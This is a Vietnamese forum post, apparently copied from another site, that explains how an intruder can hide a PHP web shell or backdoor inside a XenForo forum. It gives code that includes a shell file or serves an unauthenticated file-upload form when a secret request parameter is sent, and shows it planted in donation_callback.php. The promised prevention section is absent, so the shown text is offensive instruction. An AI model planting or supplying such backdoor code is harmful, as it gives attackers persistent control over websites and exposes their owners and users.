Phương pháp Include shell trong source XenForo và cách phòng chống.

I. Phương diện Hacker.
Bỏ qua việc làm thế nào hacker có thể vào được Admin CP và có shell trên Host của bạn. Ở đây, mình chỉ đề cập đến các phương pháp mà hacker có thể chèn shell và ẩn nó trong forum của bạn để có thể sử dụng trong những cuộc tấn công tiếp theo.

1. Phương pháp 1: Chèn shell bằng cách sửa file .php trên host.
- Tìm những file mà admin ít để ý đến để chèn 1 trong các đoạn code sau vào nhé, có thể chèn vào bất cứ đâu mà bạn muốn.
Code 1: Include 1 file shell
if ($_REQUEST['do']=="Alucar") {  include ("alucar.php");  }
Code 2: Include 1 code có chức năng Upload một file từ máy tính lên host
if($_REQUEST['do']=='Alucar')
{
    
$files = @$_FILES["files"];
    if(
$files["name"] != ''){
        
$fullpath $_REQUEST["path"].$files["name"];
        if(
move_uploaded_file($files['tmp_name'],$fullpath)){
            echo 
"<h1><a href='$fullpath'>Upload successful. Click here!</a></h1>";
        }
    }
echo 
'<body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path>
<input type="file" name="files"><input type=submit value="Up"></form></body>'
;
exit(
"");
}
Code 3: Include trực tiếp shell (ở đây mình dùng con shell chưa được mã hoá)
Do code quá dài nên các bạn download file code3.txt ở đính kèm và copy nội dung vào file muốn chèn shell.

Ví dụ mình sử dụng Code 2 và chèn vào file donation_callback.php như sau:
<?phpif($_REQUEST['do']=='Alucar')
{
    
$files = @$_FILES["files"];
    if(
$files["name"] != ''){
        
$fullpath $_REQUEST["path"].$files["name"];
        if(
move_uploaded_file($files['tmp_name'],$fullpath)){
            echo 
"<h1><a href='$fullpath'>Upload successful. Click here!</a></h1>";
        }
    }
echo 
'<body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path>
<input type="file" name="files"><input type=submit value="Up"></form></body>'
;
exit(
"");
}
$startTime microtime(true);$fileDir dirname(__FILE__);

require(
$fileDir '/library/XenForo/Autoloader.php');XenForo_Autoloader::getInstance()->setupAutoloader($fileDir '/library');
 
XenForo_Application::initialize($fileDir '/library'$fileDir);XenForo_Application::set('page_start_time'$startTime);
 
$response = new Zend_Controller_Response_Http();$processor = new EWRporta_Block_Donations();$processor->initCallbackHandling(new Zend_Controller_Request_Http());
 
$logExtra = array();

try
{
    if (!
$processor->validateRequest($logMessage))
    {
        
$logType 'error';

        
$response->setHttpResponseCode(500);
    }
    else if (!
$processor->validatePreConditions($logMessage))
    {
        
$logType 'error';
    }
    else
    {
        list(
$logType$logMessage) = $processor->processTransaction();
    }
}
catch (
Exception $e)
{
    
$response->setHttpResponseCode(500);
    
XenForo_Error::logException($e);

    
$logType 'error';
    
$logMessage 'Exception: ' $e->getMessage();
    
$logExtra['_e'] = $e;
}
 
$processor->log($logType$logMessage$logExtra);
 
$response->setBody(htmlspecialchars($logMessage));$response->sendResponse();
Đây là kết quả lần lượt với code 1 và 2

alucar2
alucar1

2. Phương pháp 2: Chèn shell qua Add-ons
updating...
3. Phương pháp 3: Chèn shell qua Styles
updating
Nguồn:VXF

Comments